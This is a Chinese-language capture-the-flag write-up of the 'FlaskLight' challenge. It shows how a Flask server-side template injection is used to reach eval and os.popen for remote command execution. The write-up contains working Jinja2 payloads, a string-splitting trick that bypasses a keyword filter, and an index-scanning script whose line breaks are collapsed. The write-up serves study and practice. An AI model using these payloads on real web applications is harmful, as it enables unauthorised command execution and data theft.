[CSCCTF 2019 Qual]FlaskLight
注释里面提示GET['search'],简单测试一下发现存在SSTI漏洞。
1、尝试{{config}}
没什么特别线索。
2、尝试通过“可用函数”获得全局变量。{{url_for.__globals__}}
Internal Server Error
说明可能有过滤。换一个:{{get_flashed_messages['__glo''bals__']}}
这边['__globals__']能实现与.__globals__同样的效果,于是能通过字符拼接绕过简单的关键字过滤
直接得到了全局变量。
3、利用其中的__builtins__模块调用内置函数获得rce
{{get_flashed_messages['__glo''bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
直接拿到rec。
4、尝试其他方法。获取子类:{{''.__class__.__mro__[2].__subclasses__()}}
在 Flask 注入题目中,获得subclasses后,可利用以下一些类来获取 flag:
file类(Python2 环境):在 Python2 中,object类的子类中有file类,可用于文件读取。通过找到file类的位置,利用其打开并读取存储 flag 的文件,如"a".__class__.__mro__[2].__subclasses__()[40]("flag.txt").read()可读取flag.txt文件内容。
os._wrap_close类(Python3 环境):在 Python3 环境中,可以利用os._wrap_close类。通过获取该类,再访问其__init__.__globals__属性,进而利用其中的open或popen函数来读取文件或执行命令获取 flag,如"a".__class__.__bases__[0].__subclasses__()[<os._wrap_close类的索引>].__init__.__globals__['open']('/opt/flag文件路径').read()。
catch_warnings类:可以在其全局变量中找到eval,利用eval执行命令来获取 flag。例如{{''.__class__.__mro__[2].__subclasses__()[166].__init__.__globals__['eval']('__import__("os").popen("env").read()') }}
site._Printer类:可以在其全局变量中找到os
5、由于这里并不知道flag的具体位置,所以file类读取文件不太行。这里应该使用的是python2的环境所以没有os.wrap.close类。直接尝试catch_warning类。由于不知道具体位置,可以用脚本跑一下:
import requests
from concurrent.futures import ThreadPoolExecutordef makerequest(i):url = f"http://4183e6ca-1497-4aa2-82d6-5d0b843e951e.node5.buuoj.cn:81/?search={{{{''.__class__.__mro__[2].__subclasses__()[{i}]}}}}"r = requests.get(url)# print(r.text)if "catch_warning" in r.text:print(i)with ThreadPoolExecutor(max_workers=10) as executor:futures = [executor.submit(makerequest, i) for i in range(0, 200)]
利用多线程加快速度。跑出来是59。
6、{{''.__class__.__mro__[2].__subclasses__()[59].__init__['__global''s__']}}
能看到全局变量中有
'eval': <built-in function eval>
一开始犯了一个错误,该函数是属于built-in function,并不在当前全局变量中。不能直接调用。
7、通过__builtins__调用。{{''.__class__.__mro__[2].__subclasses__()[59].__init__['__global''s__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
再次得到rec。
8、再尝试一下site._Printer类。先通过脚本找到位置为71。
{{''.__class__.__mro__[2].__subclasses__()[71].__init__['__global''s__']}}
'os': <module 'os' from '/usr/lib/python2.7/os.pyc'>
可以看到有内置os。
9、{{''.__class__.__mro__[2].__subclasses__()[71].__init__['__global''s__']['os'].popen('ls').read()}}
又成功拿到rec。